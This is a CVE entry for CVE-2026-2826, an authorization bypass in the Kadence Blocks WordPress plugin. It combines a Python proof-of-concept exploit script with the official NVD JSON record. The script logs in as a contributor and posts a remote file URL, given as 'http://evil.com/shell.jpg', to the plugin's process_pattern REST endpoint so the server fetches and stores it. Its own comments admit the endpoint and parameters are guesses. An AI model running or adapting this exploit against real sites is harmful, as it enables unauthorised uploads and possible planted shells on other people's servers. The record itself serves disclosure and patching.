CVE-2026-2826

import requests def exploit(target_url, username, password, malicious_image_url): """ Exploit CVE-2026-2826: Authorization Bypass in Kadence Blocks """ session = requests.Session() # 1. Authenticate to WordPress (Get nonce/cookie) login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } session.post(login_url, data=login_data) # 2. Send payload to vulnerable endpoint # The endpoint might be 'process_pattern' under the plugin's REST namespace api_url = f"{target_url}/wp-json/kadence-blocks/v1/process_pattern" payload = { 'url': malicious_image_url, # Additional params might be required depending on exact version implementation } response = session.post(api_url, json=payload) if response.status_code == 200: print("[+] Exploit successful! File uploaded.") print(f"[+] Response: {response.text}") else: print("[-] Exploit failed.") print(f"[-] Status Code: {response.status_code}") print(f"[-] Response: {response.text}") if __name__ == "__main__": target = "http://localhost" user = "contributor" pwd = "password" url = "http://evil.com/shell.jpg" exploit(target, user, pwd, url)

{"cve": {"id": "CVE-2026-2826", "sourceIdentifier": "[email protected]", "published": "2026-04-04T09:16:20.167", "lastModified": "2026-04-24T18:13:28.877", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Kadence Blocks — Page Builder Toolkit for Gutenberg Editor plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.6.3. This is due to the plugin not properly verifying that a user has the `upload_files` capability in the `process_pattern` REST API endpoint. This makes it possible for authenticated attackers, with contributor level access and above, to upload images to the WordPress Media Library by supplying remote image URLs that the server downloads and creates as media attachments."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/kadence-blocks/tags/3.6.4/includes/class-kadence-blocks-prebuilt-library-rest-api.php#L1224", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5f91df7e-5d9d-4a3a-9afc-d771106a0be6?source=cve", "source": "[email protected]"}]}}